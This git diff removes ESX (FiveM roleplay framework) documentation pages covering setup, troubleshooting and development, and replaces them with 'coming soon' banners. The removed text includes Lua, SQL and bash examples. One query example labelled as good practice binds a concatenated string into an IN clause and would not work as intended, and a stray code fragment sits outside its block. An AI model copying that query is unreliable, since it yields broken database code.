- - -- Items - ['item_repair_kit'] = 'Kit de Reparación', - ['item_used'] = 'Usaste %s', - - -- Commands - ['command_usage'] = 'Uso: %s', - ['player_not_found'] = 'Jugador no encontrado', - ['no_permission'] = 'No tienes permisos', -} -``` - -### Using Translations - -```lua --- In your scripts -local message = _U('not_enough_money') -xPlayer.showNotification(message, 'error') - --- With parameters -local message = _U('item_used', 'Repair Kit') -ESX.ShowNotification(message) -``` - -## Testing & Debugging - -### Debug Functions - -```lua --- Debug utility -local function DebugPrint(...) - if Config.Debug then - print('^3[ESX-MYRESOURCE]^7', ...) - end -end - --- Server-side debugging -local function LogAction(xPlayer, action, data) - if Config.Debug then - print(string.format('^3[ESX-MYRESOURCE]^7 Player: %s (%s) | Action: %s | Data: %s', - xPlayer.getName(), - xPlayer.identifier, - action, - json.encode(data) - )) - end -end -``` - -### Testing Checklist - -- [ ] Resource starts without errors -- [ ] ESX object initializes properly -- [ ] Database connections work -- [ ] Player events trigger correctly -- [ ] Jobs and permissions work -- [ ] Money transactions function -- [ ] Items can be used/given/removed -- [ ] UI opens/closes properly -- [ ] Commands execute with proper permissions -- [ ] Localization works -- [ ] No console errors or warnings - -## Best Practices - -### Code Organization - -1. **Follow ESX Conventions**: Use ESX naming conventions and patterns -2. **Use Callbacks**: For data requests between client and server -3. **Validate Everything**: Never trust client input -4. **Handle Errors**: Use pcall for database operations -5. **Performance**: Avoid unnecessary loops and timers - -### Security - -1. **Server Validation**: Always validate on the server -2. **Permission Checks**: Verify job/permissions before actions -3. **Rate Limiting**: Prevent spam/abuse -4. **Secure Events**: Use source validation - -### Performance - -1. **Efficient Queries**: Use proper database indexes -2. **Caching**: Cache frequently accessed data -3. **Resource Cleanup**: Clean up on resource stop -4. **Minimal UI**: Keep NUI lightweight - -This comprehensive development guide provides everything needed to create professional ESX resources following best practices and framework conventions. + +We are working hard to get the full ESX documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/frameworks/esx/index.mdx b/content/docs/frameworks/esx/index.mdx index e4fb82f..d7648da 100644 --- a/content/docs/frameworks/esx/index.mdx +++ b/content/docs/frameworks/esx/index.mdx @@ -4,201 +4,8 @@ description: The ESX framework for FiveM servers. icon: "Package" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { InfoBanner } from '@ui/components/mdx-components'; -ESX (ES Extended) is one of the most popular frameworks for FiveM servers, providing a comprehensive system for roleplay servers. **ESX Legacy** is the modern, actively maintained version with significant improvements. - -## Overview - -ESX Legacy is a completely refactored framework offering enhanced performance, security, and modern FiveM compatibility: - -### ESX Legacy Features - - - -## Key Features - - - -## Getting Started - - - - Complete setup guide including database configuration, resource installation, and server setup. - - - - Learn how to create resources, use ESX APIs, and implement custom features with best practices. - - - - Common issues and solutions for ESX installation, configuration, and runtime problems. - - - -## Quick Start - -### Modern ESX Legacy Integration - -```lua --- Modern ESX initialization (ESX Legacy) -local ESX = exports['es_extended']:getSharedObject() - --- Using ox_lib for UI -local ox_lib = exports.ox_lib - --- Player management -local xPlayer = ESX.GetPlayerFromId(source) -- Server-side -local playerData = ESX.GetPlayerData() -- Client-side - --- Modern account operations -xPlayer.addMoney(1000) -- Add cash -xPlayer.addAccountMoney('bank', 5000) -- Add bank money -xPlayer.removeAccountMoney('bank', 500) -- Remove from bank -xPlayer.getAccount('bank').money -- Get bank balance - --- Inventory management with metadata -xPlayer.addInventoryItem('bread', 5, {quality = 100}) -local itemCount = xPlayer.getInventoryItem('water').count -xPlayer.removeInventoryItem('bread', 2) - --- Job system -xPlayer.setJob('police', 2) -- Set job with grade -if xPlayer.job.name == 'police' and xPlayer.job.grade >= 2 then - -- Lieutenant or higher -end - --- Using ox_lib for notifications -ox_lib:notify({ - title = 'ESX', - description = 'You received $1000', - type = 'success' -}) -``` - -### Modern UI with ox_lib - -```lua --- Context menu (replaces old esx_menu) -ox_lib:registerContext({ - id = 'my_menu', - title = 'Menu Title', - options = { - { - title = 'Option 1', - description = 'Description', - icon = 'hand', - onSelect = function() - -- Action - end - }, - { - title = 'Option 2', - arrow = true, - event = 'my:event' - } - } -}) - -ox_lib:showContext('my_menu') - --- Progress bar -ox_lib:progressBar({ - duration = 5000, - label = 'Crafting...', - useWhileDead = false, - canCancel = true, - disable = { - move = true, - car = true, - combat = true - } -}) - --- Text UI -ox_lib:showTextUI('[E] - Interact') -ox_lib:hideTextUI() -``` -RegisterNetEvent('esx:setJob', function(job) - ESX.PlayerData.job = job - -- Update UI/permissions -end) - --- Player loaded (server) -AddEventHandler('esx:playerLoaded', function(playerId, xPlayer) - -- Server-side player initialization -end) -``` - -## Architecture - -ESX follows a modular architecture where each system is handled by separate resources: - -- **es_extended** - Core framework -- **esx_society** - Organization management -- **esx_datastore** - Data persistence -- **esx_menu_*** - UI menu systems -- **Job Resources** - Police, ambulance, mechanic jobs -- **Economy Resources** - Shops, banks, real estate - -## Community - -- [ESX Legacy GitHub](https://github.com/esx-framework/esx-legacy) -- [Official Documentation](https://documentation.esx-framework.org/) -- [Community Discord](https://discord.gg/esx) -- [FiveM Forums](https://forum.cfx.re/c/development/esx/22) - - - ESX Legacy is the official successor to the original ESX framework, featuring improved performance, better security, and active maintenance. - - - - Always test ESX resources and modifications on a development server before deploying to production. - + +We are working hard to get the full ESX documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/frameworks/esx/setup.mdx b/content/docs/frameworks/esx/setup.mdx index 4c972fc..f3519cd 100644 --- a/content/docs/frameworks/esx/setup.mdx +++ b/content/docs/frameworks/esx/setup.mdx @@ -4,454 +4,8 @@ description: Complete guide to setting up and installing ESX framework. icon: "Download" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { InfoBanner } from '@ui/components/mdx-components'; -This guide covers the complete installation and initial setup of ESX framework for your FiveM server. - -## Prerequisites - -Before installing ESX, ensure you have: - -- **FiveM Server**: A properly configured FiveM server -- **MySQL Database**: MySQL 8.0+ or MariaDB 10.6+ -- **Git**: For cloning repositories -- **Basic Command Line Knowledge**: Comfort with terminal commands - -## Installation Methods - - - -### Method 1: ESX Legacy (Recommended) - -ESX Legacy is the modern, updated version of ESX with improved performance and security. - -#### 1. Database Setup - -Create a new MySQL database: - -```sql -CREATE DATABASE esx_server CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; -CREATE USER 'esx_user'@'localhost' IDENTIFIED BY 'your_secure_password'; -GRANT ALL PRIVILEGES ON esx_server.* TO 'esx_user'@'localhost'; -FLUSH PRIVILEGES; -``` - -#### 2. Server Structure - -Create the proper directory structure: - -```bash -# Navigate to your server's resources folder -cd /path/to/your/server/resources - -# Create ESX folder structure -mkdir -p [esx] -mkdir -p [standalone] -``` - -#### 3. Core Framework Installation - -```bash -# Clone ESX Legacy core -cd [esx] -git clone https://github.com/esx-framework/esx_core.git -git clone https://github.com/esx-framework/es_extended.git - -# Essential resources -git clone https://github.com/esx-framework/esx_multicharacter.git -git clone https://github.com/esx-framework/esx_menu_default.git -git clone https://github.com/esx-framework/esx_menu_dialog.git -git clone https://github.com/esx-framework/esx_menu_list.git -git clone https://github.com/esx-framework/esx_notify.git -git clone https://github.com/esx-framework/esx_textui.git -git clone https://github.com/esx-framework/esx_context.git - -# Basic gameplay resources -git clone https://github.com/esx-framework/esx_basicneeds.git -git clone https://github.com/esx-framework/esx_billing.git -git clone https://github.com/esx-framework/esx_society.git -git clone https://github.com/esx-framework/esx_datastore.git -git clone https://github.com/esx-framework/esx_addonaccount.git -git clone https://github.com/esx-framework/esx_addoninventory.git - -# Jobs -git clone https://github.com/esx-framework/esx_ambulancejob.git -git clone https://github.com/esx-framework/esx_policejob.git -git clone https://github.com/esx-framework/esx_mechanicjob.git - -# Properties and vehicles -git clone https://github.com/esx-framework/esx_property.git -git clone https://github.com/esx-framework/esx_vehicleshop.git -git clone https://github.com/esx-framework/esx_lscustom.git -``` - -#### 4. Database Dependencies - -Install required database resources: - -```bash -# Navigate to standalone folder -cd ../[standalone] - -# Clone database connector (choose one) -git clone https://github.com/overextended/oxmysql.git -# OR -git clone https://github.com/GHMatti/ghmattimysql.git mysql-async -``` - -#### 5. Database Import - -Import ESX database structure: - -```bash -# Import base database -mysql -u esx_user -p esx_server < [esx]/es_extended/installation/esx_legacy.sql - -# Import additional resource databases -mysql -u esx_user -p esx_server < [esx]/esx_society/installation/esx_society.sql -mysql -u esx_user -p esx_server < [esx]/esx_datastore/installation/esx_datastore.sql -mysql -u esx_user -p esx_server < [esx]/esx_addonaccount/installation/esx_addonaccount.sql -mysql -u esx_user -p esx_server < [esx]/esx_addoninventory/installation/esx_addoninventory.sql -mysql -u esx_user -p esx_server < [esx]/esx_billing/installation/esx_billing.sql -mysql -u esx_user -p esx_server < [esx]/esx_vehicleshop/installation/esx_vehicleshop.sql -mysql -u esx_user -p esx_server < [esx]/esx_lscustom/installation/esx_lscustom.sql -# Continue for other resources with database requirements -``` - -### Method 2: ESX Template (Alternative) - -For a quicker start, use the ESX server template: - -```bash -# Clone the complete template -git clone https://github.com/esx-framework/esx-serverdumps.git - -# This includes: -# - Pre-configured server structure -# - All essential resources -# - Database files -# - Basic configuration -``` - -## Configuration - -### 1. Database Connection - - - -Configure your database connection in `es_extended/config.lua`: - -```lua -Config = {} -Config.Locale = 'en' - -Config.Accounts = { - bank = _U('account_bank'), - black_money = _U('account_black_money'), - money = _U('account_money') -} - -Config.StartingAccountMoney = { - bank = 50000, - black_money = 0, - money = 5000 -} - -Config.StartingInventoryItems = false -- Set to false to disable - -Config.DefaultSpawn = {x = -269.4, y = -955.3, z = 31.22, h = 205.8} - -Config.EnablePlayerManagement = true -Config.EnableSocietyOwnedVehicles = false -Config.EnableLicenses = false -Config.EnableJailAccount = false -Config.EnablePVP = true -Config.MaxWeight = 24 -Config.PaycheckInterval = 7 * 60000 -Config.EnableDebug = false -``` - -### 2. Server.cfg Configuration - -Add ESX resources to your `server.cfg`: - -```cfg -# Database -ensure oxmysql -# OR ensure mysql-async - -# ESX Legacy Framework -ensure es_extended - -# ESX Core Resources -ensure esx_menu_default -ensure esx_menu_dialog -ensure esx_menu_list -ensure esx_notify -ensure esx_textui -ensure esx_context - -# ESX Base Resources -ensure esx_datastore -ensure esx_addonaccount -ensure esx_addoninventory -ensure esx_society -ensure esx_billing - -# Character System -ensure esx_multicharacter - -# Basic Needs -ensure esx_basicneeds - -# Jobs -ensure esx_policejob -ensure esx_ambulancejob -ensure esx_mechanicjob - -# Vehicles & Properties -ensure esx_vehicleshop -ensure esx_lscustom -ensure esx_property - -# Database connection string -set mysql_connection_string "mysql://esx_user:your_secure_password@localhost/esx_server?charset=utf8mb4" - -# Server configuration -set sv_hostname "My ESX Server" -set sv_maxclients 32 -set server_description "An ESX FiveM Server" - -# ESX specific -set es_enableCustomData 1 -set esx_multicharacter_enabled true - -# Licensing -sv_licenseKey "your_license_key_here" -``` - -### 3. Resource Loading Order - -Proper loading order is crucial for ESX: - -```cfg -# 1. Database connector -ensure oxmysql - -# 2. Core framework -ensure es_extended - -# 3. Menu systems -ensure esx_menu_default -ensure esx_menu_dialog -ensure esx_menu_list - -# 4. UI Systems -ensure esx_notify -ensure esx_textui -ensure esx_context - -# 5. Base systems -ensure esx_datastore -ensure esx_addonaccount -ensure esx_addoninventory -ensure esx_society - -# 6. Character system -ensure esx_multicharacter - -# 7. Core gameplay -ensure esx_basicneeds -ensure esx_billing - -# 8. Jobs -ensure esx_policejob -ensure esx_ambulancejob -ensure esx_mechanicjob - -# 9. Vehicles & Properties -ensure esx_vehicleshop -ensure esx_lscustom -ensure esx_property - -# 10. Custom resources (add your custom resources last) -``` - -## Verification & Testing - -### 1. Server Startup - -Start your server and verify ESX loads properly: - -```bash -# Check the console for errors -# Look for messages like: -# [es_extended] ESX Started! -# [esx_multicharacter] Multicharacter Started! -``` - -### 2. Database Verification - -Check that database tables were created: - -```sql -USE esx_server; -SHOW TABLES; - --- You should see tables like: --- users --- vehicles --- user_accounts --- jobs --- job_grades --- etc. -``` - -### 3. In-Game Testing - -1. **Connect to Server**: Join your server -2. **Character Creation**: Test the multicharacter system -3. **Basic Functions**: Try commands like `/me`, `/job`, `/money` -4. **Job System**: Test changing jobs with `/setjob [job] [grade]` - -## Common Installation Issues - -### Database Connection Errors - -**Error**: `Failed to execute query: Access denied` - -**Solution**: -```sql --- Recreate user with proper permissions -DROP USER 'esx_user'@'localhost'; -CREATE USER 'esx_user'@'localhost' IDENTIFIED BY 'your_password'; -GRANT ALL PRIVILEGES ON esx_server.* TO 'esx_user'@'localhost'; -FLUSH PRIVILEGES; -``` - -### Resource Loading Errors - -**Error**: `Resource [es_extended] couldn't be started` - -**Solutions**: -1. Check resource path: Ensure resources are in `[esx]` folder -2. Verify manifest: Check `fxmanifest.lua` syntax -3. Dependencies: Ensure database connector loads before es_extended - -### Shared Object Errors - -**Error**: `ESX object is nil` - -**Solution**: -```lua --- Use proper ESX initialization -ESX = exports['es_extended']:getSharedObject() - --- Alternative (legacy method) -ESX = nil -TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end) -``` - -## Post-Installation Steps - -### 1. Admin Setup - -Add yourself as admin: - -```sql --- Method 1: Direct database -INSERT INTO users (identifier, name, accounts, job, job_grade, group) -VALUES ('license:your_license_here', 'Your Name', '{"bank":25000,"black_money":0,"money":5000}', 'admin', 0, 'admin'); - --- Method 2: In-game command (if you have permissions) -/setjob admin 0 -``` - -### 2. Basic Server Configuration - -Configure basic server settings: - -```lua --- In es_extended/config.lua -Config.DefaultSpawn = {x = -269.4, y = -955.3, z = 31.22, h = 205.8} -- Customize spawn location -Config.StartingAccountMoney = {bank = 10000, black_money = 0, money = 1000} -- Starting money -Config.PaycheckInterval = 7 * 60000 -- Paycheck every 7 minutes -``` - -### 3. Job Configuration - -Add or modify jobs in the database: - -```sql --- Add custom job -INSERT INTO jobs (name, label) VALUES ('taxi', 'Taxi Driver'); - --- Add job grades -INSERT INTO job_grades (job_name, grade, name, label, salary, skin_male, skin_female) -VALUES ('taxi', 0, 'driver', 'Driver', 200, '{}', '{}'); - -INSERT INTO job_grades (job_name, grade, name, label, salary, skin_male, skin_female) -VALUES ('taxi', 1, 'experienced', 'Experienced Driver', 300, '{}', '{}'); -``` - -### 4. Society Configuration - -Set up societies for jobs: - -```sql --- Create society for job -INSERT INTO addon_account (name, label, shared) -VALUES ('society_taxi', 'Taxi Company', 1); - -INSERT INTO datastore (name, label, shared) -VALUES ('society_taxi', 'Taxi Company', 1); - -INSERT INTO addon_inventory (name, label, shared) -VALUES ('society_taxi', 'Taxi Company', 1); -``` - -## ESX vs ESX Legacy - -### ESX Legacy Advantages - -- **Better Performance**: Optimized code and reduced resource usage -- **Security Improvements**: Better protection against exploits -- **Modern Code**: Updated to use newer FiveM features -- **Active Development**: Regular updates and bug fixes -- **Compatibility**: Better compatibility with modern resources - -### Migration from Old ESX - -If migrating from old ESX to ESX Legacy: - -1. **Backup Everything**: Database and server files -2. **Update Resources**: Replace old ESX resources with Legacy versions -3. **Database Migration**: Run migration scripts if provided -4. **Test Thoroughly**: Verify all functionality works - -## Next Steps - -After successful installation: - -1. **[ESX Development](/docs/frameworks/esx/development)** - Learn about ESX development -2. **[ESX Troubleshooting](/docs/frameworks/esx/troubleshooting)** - Common issues and solutions -3. **[Resource Management](/docs/frameworks/esx/resources)** - Managing and updating ESX resources - - - Congratulations! You now have a working ESX server. Take time to familiarize yourself with the framework before adding custom resources. - - - - Always backup your database and server files before making major changes or updates. - + +We are working hard to get the full ESX documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/frameworks/esx/troubleshooting.mdx b/content/docs/frameworks/esx/troubleshooting.mdx index a02acc5..5017de0 100644 --- a/content/docs/frameworks/esx/troubleshooting.mdx +++ b/content/docs/frameworks/esx/troubleshooting.mdx @@ -4,741 +4,8 @@ description: Common issues and solutions for ESX framework. icon: "Bug" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { InfoBanner } from '@ui/components/mdx-components'; -This guide covers common issues encountered when working with ESX framework and their solutions. - -## Installation Issues - - - -### Database Connection Problems - -#### Error: "Access denied for user" - -**Symptoms:** -``` -[ERROR] Access denied for user 'esx_user'@'localhost' (using password: YES) -``` - -**Solutions:** - -1. **Check Database Credentials:** -```sql --- Verify user exists -SELECT User, Host FROM mysql.user WHERE User = 'esx_user'; - --- If user doesn't exist, create it -CREATE USER 'esx_user'@'localhost' IDENTIFIED BY 'your_password'; -GRANT ALL PRIVILEGES ON esx_server.* TO 'esx_user'@'localhost'; -FLUSH PRIVILEGES; -``` - -2. **Verify Connection String:** -```cfg -# In server.cfg, ensure connection string is correct -set mysql_connection_string "mysql://esx_user:your_password@localhost/esx_server?charset=utf8mb4" -``` - -3. **Check MySQL Service:** -```bash -# Windows -net start mysql80 - -# Linux -sudo systemctl start mysql -sudo systemctl status mysql -``` - -#### Error: "Database 'esx_server' doesn't exist" - -**Solution:** -```sql -CREATE DATABASE esx_server CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; -``` - -### Resource Loading Issues - -#### Error: "Resource [es_extended] couldn't be started" - -**Symptoms:** -``` -[ERROR] Could not load resource es_extended -[ERROR] Failed to start resource es_extended -``` - -**Solutions:** - -1. **Check Resource Path:** -``` -resources/ -├── [esx]/ -│ └── es_extended/ # Should be here -├── [standalone]/ -└── [voice]/ -``` - -2. **Verify fxmanifest.lua:** -```lua --- Check for syntax errors in fxmanifest.lua -fx_version 'cerulean' -game 'gta5' --- Ensure proper structure -``` - -3. **Check Dependencies:** -```cfg -# Ensure database connector loads before es_extended -ensure oxmysql -ensure es_extended -``` - -#### Error: "ESX object is nil" - -**Symptoms:** -- Scripts can't access ESX functions -- Error: "attempt to index a nil value (global 'ESX')" - -**Solutions:** - -1. **Proper ESX Initialization:** -```lua --- Modern method (recommended) -ESX = exports['es_extended']:getSharedObject() - --- Legacy method (still works) -ESX = nil -TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end) - --- Using imports (ESX Legacy) --- Add @es_extended/imports.lua to shared_scripts -``` - -2. **Wait for ESX to Load:** -```lua --- If getting nil, wait for ESX -ESX = nil -Citizen.CreateThread(function() - while ESX == nil do - TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end) - Citizen.Wait(0) - end -end) -``` - -### Database Schema Issues - -#### Error: "Table doesn't exist" - -**Symptoms:** -- MySQL errors about missing tables -- Resources fail to start - -**Solutions:** - -1. **Import Missing Tables:** -```bash -# Import base ESX schema -mysql -u esx_user -p esx_server < [esx]/es_extended/installation/esx_legacy.sql - -# Import resource-specific tables -mysql -u esx_user -p esx_server < [esx]/esx_society/installation/esx_society.sql -mysql -u esx_user -p esx_server < [esx]/esx_datastore/installation/esx_datastore.sql -``` - -2. **Check Required Tables:** -```sql --- Verify essential tables exist -SHOW TABLES; - --- Should include: --- users --- jobs --- job_grades --- vehicles --- owned_vehicles --- user_accounts --- user_inventory -``` - -## Player Data Issues - -### Player Data Not Loading - -#### Error: "Player data is nil" - -**Symptoms:** -- Player spawns but has no data -- Commands don't work -- Money/job shows as nil - -**Solutions:** - -1. **Check Player Loading Events:** -```lua --- Client-side -RegisterNetEvent('esx:playerLoaded', function(xPlayer) - ESX.PlayerData = xPlayer - print('Player data loaded:', json.encode(xPlayer)) -end) -``` - -2. **Verify Database Schema:** -```sql --- Check if users table exists and has data -SELECT COUNT(*) FROM users; -DESCRIBE users; -``` - -3. **Check for Database Corruption:** -```sql --- Look for corrupted player data -SELECT identifier, name, LENGTH(accounts) as accounts_length -FROM users -WHERE accounts IS NULL OR accounts = '' OR JSON_VALID(accounts) = 0; -``` - -#### Error: "Player already exists" - -**Symptoms:** -- Cannot create new character -- Gets stuck on character creation - -**Solutions:** - -1. **Check for Duplicate Identifiers:** -```sql --- Find duplicate identifiers -SELECT identifier, COUNT(*) as count -FROM users -GROUP BY identifier -HAVING count > 1; - --- Remove duplicates (keep most recent) -DELETE u1 FROM users u1 -INNER JOIN users u2 -WHERE u1.id < u2.id AND u1.identifier = u2.identifier; -``` - -2. **Clear Character Data:** -```sql --- Remove specific player data -DELETE FROM users WHERE identifier = 'license:your_license_here'; -``` - -### Money/Account Issues - -#### Error: "Money is not updating" - -**Solutions:** - -1. **Check Account Format:** -```sql --- Verify accounts are valid JSON -SELECT identifier, accounts, JSON_VALID(accounts) as is_valid -FROM users -WHERE JSON_VALID(accounts) = 0; - --- Fix invalid account data -UPDATE users -SET accounts = '{"bank":5000,"black_money":0,"money":500}' -WHERE JSON_VALID(accounts) = 0; -``` - -2. **Check Money Functions:** -```lua --- Server-side: Proper money handling -local xPlayer = ESX.GetPlayerFromId(source) -if xPlayer then - local currentMoney = xPlayer.getMoney() - xPlayer.addMoney(1000) - print('Money before:', currentMoney, 'After:', xPlayer.getMoney()) -end -``` - -#### Error: "Account type doesn't exist" - -**Solutions:** - -1. **Check Account Configuration:** -```lua --- In es_extended/config.lua -Config.Accounts = { - bank = _U('account_bank'), - black_money = _U('account_black_money'), - money = _U('account_money') -} -``` - -2. **Add Missing Account Types:** -```sql --- If using custom accounts, ensure they're configured properly -``` - -### Job Issues - -#### Error: "Job doesn't exist" - -**Solutions:** - -1. **Verify Job in Database:** -```sql --- Check if job exists -SELECT * FROM jobs WHERE name = 'your_job_name'; - --- Add missing job -INSERT INTO jobs (name, label) VALUES ('mechanic', 'Mechanic'); - --- Add job grades -INSERT INTO job_grades (job_name, grade, name, label, salary, skin_male, skin_female) VALUES -('mechanic', 0, 'trainee', 'Trainee', 200, '{}', '{}'), -('mechanic', 1, 'mechanic', 'Mechanic', 400, '{}', '{}'); -``` - -2. **Check Job Assignment:** -```lua --- Server-side: Proper job setting -local xPlayer = ESX.GetPlayerFromId(source) -if xPlayer then - xPlayer.setJob('mechanic', 1) -end -``` - -## Inventory Issues - -### Inventory Not Working - -#### Error: "Items not showing" - -**Solutions:** - -1. **Check Inventory Table:** -```sql --- Verify user_inventory table exists -DESCRIBE user_inventory; - --- Check for data -SELECT * FROM user_inventory LIMIT 5; -``` - -2. **Verify Item Registration:** -```lua --- Check if items are properly registered in database --- Items should be in the items table or configured in resources -``` - -3. **Check Weight System:** -```lua --- Ensure weight calculations work -local xPlayer = ESX.GetPlayerFromId(source) -local currentWeight = xPlayer.getWeight() -local maxWeight = xPlayer.maxWeight -print('Weight:', currentWeight, '/', maxWeight) -``` - -#### Error: "Cannot add item" - -**Solutions:** - -1. **Check Item Limits:** -```lua --- Verify item can be carried -local xPlayer = ESX.GetPlayerFromId(source) -if xPlayer.canCarryItem('bread', 5) then - xPlayer.addInventoryItem('bread', 5) -else - print('Cannot carry item - weight or space limit') -end -``` - -2. **Check Item Configuration:** -```sql --- Verify item exists in items table (if using database items) -SELECT * FROM items WHERE name = 'your_item_name'; -``` - -### Vehicle Issues - -#### Error: "Vehicles not spawning" - -**Solutions:** - -1. **Check Vehicle Database:** -```sql --- Verify owned_vehicles table -DESCRIBE owned_vehicles; - --- Check vehicle data format -SELECT owner, plate, vehicle FROM owned_vehicles LIMIT 5; -``` - -2. **Check Vehicle Model:** -```lua --- Verify vehicle model exists -local model = GetHashKey('adder') -if not IsModelInCdimage(model) then - print('Vehicle model not found') - return -end -``` - -3. **Check Vehicle Ownership:** -```sql --- Verify player owns the vehicle -SELECT * FROM owned_vehicles WHERE owner = 'license:your_license_here'; -``` - -## Society/Job Issues - -### Society Not Working - -#### Error: "Society account not found" - -**Solutions:** - -1. **Check Society Tables:** -```sql --- Verify society tables exist -SHOW TABLES LIKE 'addon_%'; - --- Should show: --- addon_account --- addon_inventory --- datastore -``` - -2. **Create Missing Society:** -```sql --- Create society account -INSERT INTO addon_account (name, label, shared) VALUES ('society_police', 'Police', 1); -INSERT INTO datastore (name, label, shared) VALUES ('society_police', 'Police', 1); -INSERT INTO addon_inventory (name, label, shared) VALUES ('society_police', 'Police', 1); -``` - -3. **Check Society Access:** -```lua --- Server-side: Access society account -TriggerEvent('esx_addonaccount:getSharedAccount', 'society_police', function(account) - if account then - print('Society balance:', account.money) - else - print('Society account not found') - end -end) -``` - -## Menu System Issues - -### Menus Not Working - -#### Error: "Menu doesn't open" - -**Solutions:** - -1. **Check Menu Resources:** -```cfg -# Ensure menu resources are loaded -ensure esx_menu_default -ensure esx_menu_dialog -ensure esx_menu_list -``` - -2. **Check Menu Dependencies:** -```lua --- Verify menu system is available -if ESX.UI.Menu then - -- Menu system loaded -else - print('Menu system not available') -end -``` - -3. **Test Basic Menu:** -```lua --- Client-side: Test menu opening -ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'test_menu', { - title = 'Test Menu', - align = 'top-left', - elements = { - {label = 'Option 1', value = 'option1'}, - {label = 'Option 2', value = 'option2'} - } -}, function(data, menu) - -- Handle selection - menu.close() -end, function(data, menu) - -- Handle close - menu.close() -end) -``` - -## Notification Issues - -#### Error: "Notifications not showing" - -**Solutions:** - -1. **Check Notification Resource:** -```cfg -# Ensure notification resource is loaded -ensure esx_notify -``` - -2. **Test Notifications:** -```lua --- Client-side: Test notification -ESX.ShowNotification('Test message') - --- Server-side: Send to player -local xPlayer = ESX.GetPlayerFromId(source) -xPlayer.showNotification('Test message') -``` - -## Performance Issues - -### High Resource Usage - -#### Server Performance Problems - -**Symptoms:** -- High CPU usage -- Lag/stuttering -- Thread hitches - -**Solutions:** - -1. **Identify Resource Usage:** -``` -# In server console -resmon - -# Look for resources using high CPU/memory -``` - -2. **Optimize Database Queries:** -```lua --- Bad: Multiple queries in loop -for i = 1, #players do - MySQL.Async.fetchSingle('SELECT * FROM users WHERE identifier = @identifier', { - ['@identifier'] = players[i] - }, function(result) - -- Process result - end) -end - --- Good: Single query with IN clause -local identifiers = {} -for i = 1, #players do - table.insert(identifiers, players[i]) -end - -MySQL.Async.fetchAll('SELECT * FROM users WHERE identifier IN (@identifiers)', { - ['@identifiers'] = table.concat(identifiers, "','") -}, function(results) - -- Process all results at once -end) -``` - -3. **Reduce Timer Frequency:** -```lua --- Bad: Too frequent -Citizen.CreateThread(function() - while true do - Citizen.Wait(0) -- Runs every frame - -- Heavy operation - end -end) - --- Good: Reasonable frequency -Citizen.CreateThread(function() - while true do - Citizen.Wait(5000) -- Runs every 5 seconds - -- Heavy operation - end -end) -``` - -### Memory Leaks - -#### Increasing Memory Usage - -**Solutions:** - -1. **Check for Event Listeners:** -```lua --- Ensure proper cleanup -AddEventHandler('onResourceStop', function(resourceName) - if GetCurrentResourceName() == resourceName then - -- Cleanup code here - ESX = nil - end -end) -``` - -2. **Clear Player References:** -```lua --- Clear player data on disconnect -AddEventHandler('esx:playerDropped', function(playerId, reason) - -- Clear any stored player references - if playerCache[playerId] then - playerCache[playerId] = nil - end -end) -``` - -## Debug Techniques - -### Logging and Debugging - -#### Enable Debug Mode - -```lua --- In config.lua -Config.Debug = true - --- Debug function -local function DebugPrint(...) - if Config.Debug then - print('^3[DEBUG]^7', ...) - end -end - --- Usage -DebugPrint('Player data:', json.encode(ESX.GetPlayerData())) -``` - -#### Database Debugging - -```lua --- Check database operations -local function SafeQuery(query, parameters, callback) - MySQL.Async.fetchAll(query, parameters, function(result) - if result then - callback(result) - else - print('^1[ERROR]^7 Database query failed:', query) - end - end) -end -``` - -### Console Commands for Debugging - -```lua --- Server-side debug commands -RegisterCommand('esx-debug-player', function(source, args) - local playerId = tonumber(args[1]) or source - local xPlayer = ESX.GetPlayerFromId(playerId) - - if xPlayer then - print('=== PLAYER DEBUG ===') - print('Identifier:', xPlayer.identifier) - print('Name:', xPlayer.getName()) - print('Job:', xPlayer.job.name, 'Grade:', xPlayer.job.grade) - print('Money:', xPlayer.getMoney()) - print('Bank:', xPlayer.getAccount('bank').money) - else - print('Player not found') - end -end, true) - -RegisterCommand('esx-debug-db', function(source, args) - local playerId = tonumber(args[1]) or source - local xPlayer = ESX.GetPlayerFromId(playerId) - - if xPlayer then - MySQL.Async.fetchSingle('SELECT * FROM users WHERE identifier = @identifier', { - ['@identifier'] = xPlayer.identifier - }, function(result) - if result then - print('=== DATABASE DEBUG ===') - print('Raw data:', json.encode(result)) - end - end) - end -end, true) -``` - -## Common Error Messages - -### Script Errors - -| Error | Cause | Solution | -|-------|-------|----------| -| `attempt to index a nil value (global 'ESX')` | ESX not initialized | Proper ESX initialization | -| `attempt to call a nil value (method 'getMoney')` | xPlayer is nil | Check if player exists | -| `bad argument #1 to 'pairs'` | Trying to iterate nil value | Check if table exists | -| `attempt to index a nil value (field 'job')` | Player data not loaded | Wait for esx:playerLoaded | - -### Database Errors - -| Error | Cause | Solution | -|-------|-------|----------| -| `Table 'esx_server.users' doesn't exist` | Missing database tables | Import SQL files | -| `Column 'accounts' cannot be null` | Invalid data insertion | Provide default values | -| `Duplicate entry` | Trying to insert duplicate key | Use proper constraints | -| `Data too long for column` | Value exceeds column length | Increase column size | - -## Prevention Best Practices - -### Code Quality - -1. **Always Check for Nil:** -```lua -local xPlayer = ESX.GetPlayerFromId(source) -if not xPlayer then return end -``` - -2. **Use Error Handling:** -```lua -MySQL.Async.fetchSingle('SELECT * FROM users WHERE identifier = @identifier', { - ['@identifier'] = identifier -}, function(result) - if result then - -- Process result - else - print('No player found with identifier:', identifier) - end -end) -``` - -3. **Validate Inputs:** -```lua 